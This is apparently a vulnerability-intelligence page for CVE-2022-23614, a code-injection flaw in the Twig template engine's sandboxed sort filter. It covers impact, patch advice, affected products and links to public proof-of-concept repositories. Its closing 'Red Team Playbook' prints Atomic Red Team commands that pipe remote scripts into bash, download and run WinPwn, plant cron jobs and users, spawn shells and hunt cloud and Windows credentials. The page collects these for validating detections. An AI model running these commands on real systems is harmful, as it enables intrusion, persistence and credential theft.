CVE-2022-23614
Overview
This vulnerability is a code injection flaw rooted in improper type enforcement within the Twig template engine's sandbox mode. Specifically, the 'arrow' parameter of the 'sort' filter does not enforce that its input is a Closure, allowing arbitrary PHP code execution. The affected component is the 'sort' filter implementation in Twig's sandbox environment where input validation is insufficient.
Vulnerability Description
Twig is an open source template language for PHP. When in a sandbox mode, the `arrow` parameter of the `sort` filter must be a closure to avoid attackers being able to run arbitrary PHP functions. In affected versions this constraint was not properly enforced and could lead to code injection of arbitrary PHP code. Patched versions now disallow calling non Closure in the `sort` filter as is the case for some other filters. Users are advised to upgrade.
Impact
An attacker with the ability to supply or influence template input in sandbox mode can execute arbitrary PHP code on the server. This requires at least low-level privileges (PR:L) and network access (AV:N), but no user interaction (UI:N). Exploitation can lead to full compromise of the affected system, including data theft, service disruption, or lateral movement within the environment. The CVSS vector indicates high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should upgrade Twig to the patched versions that enforce the 'arrow' parameter as a Closure in the 'sort' filter. Refer to the Twig GitHub security advisory GHSA-5mv2-rx3q-4w2v and associated commits (22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9, 2eb33080558611201b55079d07ac88f207b466d5) for patch details. Fedora and Debian have released security advisories (e.g., Debian DSA-5107) with updated package versions; users should apply these vendor-specific updates as documented in their respective advisories linked in the references.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the Twig template engine arises from improper enforcement of constraints in sandbox mode, specifically concerning the `arrow` parameter of the `sort` filter. In a secure configuration, this parameter should only accept closures to prevent the execution of arbitrary PHP functions. However, in the affected versions, the lack of stringent checks allowed attackers to bypass this restriction, leading to potential code injection vulnerabilities. This flaw can be exploited to execute arbitrary PHP code within the context of the application, which can have severe implications for the integrity and confidentiality of the system.
Attack vectors for this vulnerability are particularly concerning due to the widespread use of Twig in web applications, especially those built on the Symfony framework. An attacker could craft a malicious template that leverages the `sort` filter with a non-closure parameter, effectively injecting their own PHP code. This could be done through user input fields that allow template customization or through any feature that permits dynamic template rendering. Once the code is executed, the attacker could manipulate data, access sensitive information, or even take control of the underlying server, depending on the privileges of the web application.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on Twig for rendering dynamic content. The potential for arbitrary code execution poses a critical business risk, as it could lead to data breaches, unauthorized access to sensitive information, and disruption of services. Organizations that handle personal data or financial transactions are particularly vulnerable, as exploitation could result in compliance violations, financial loss, and reputational damage. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is not only severe but also likely to be targeted by malicious actors, making it imperative for affected organizations to take immediate action.
To detect and mitigate this vulnerability, organizations should first conduct a thorough inventory of their systems to identify any instances of the affected versions of Twig. Regular security assessments, including code reviews and penetration testing, can help uncover potential exploitation paths. Additionally, organizations should implement strict input validation and sanitization practices to minimize the risk of code injection. The most effective mitigation strategy is to upgrade to the patched versions of Twig, which enforce the necessary constraints on the `sort` filter and prevent the execution of non-closure parameters. This proactive approach will not only address the current vulnerability but also strengthen the overall security posture of the application.
In conclusion, the vulnerability within the Twig template engine highlights the critical need for robust security practices in software development and deployment. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves against such threats. The importance of timely updates and adherence to secure coding guidelines cannot be overstated, as they are essential in safeguarding applications from exploitation and ensuring the integrity of sensitive data.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2022-23614, coinciding with the emergence of new proof-of-concept exploits publicly available on GitHub. This development signals increased attacker interest and capability to leverage the sandbox bypass vulnerability in Twig’s `sort` filter, which could facilitate arbitrary PHP code execution. Although the EPSS score remains relatively stable, the surge in detection activity underscores a heightened operational risk for organizations relying on affected Twig versions. Defenders should recognize that the growing exploitation momentum elevates the likelihood of successful intrusions, particularly in environments where patching is delayed or incomplete. Consequently, the threat level associated with this vulnerability has intensified, warranting increased vigilance in monitoring and response efforts.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Symfony | Twig | All |
cpe:2.3:a:symfony:twig:*:*:*:*:*:*:*:*
|
|
|
Symfony | Twig | All |
cpe:2.3:a:symfony:twig:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 34 |
cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 35 |
cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
davwwwx/CVE-2022-23614
PoC for CVE-2022-23614 (Twig sort filter code execution/sandbox bypass)
|
davwwwx | 4 | 2 | 2022-07-18 | View |
|
4rtamis/CVE-2022-23614
Proof of concept for CVE-2022-23614 (command injection in Twig)
|
4rtamis | 0 | 1 | 2023-07-04 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.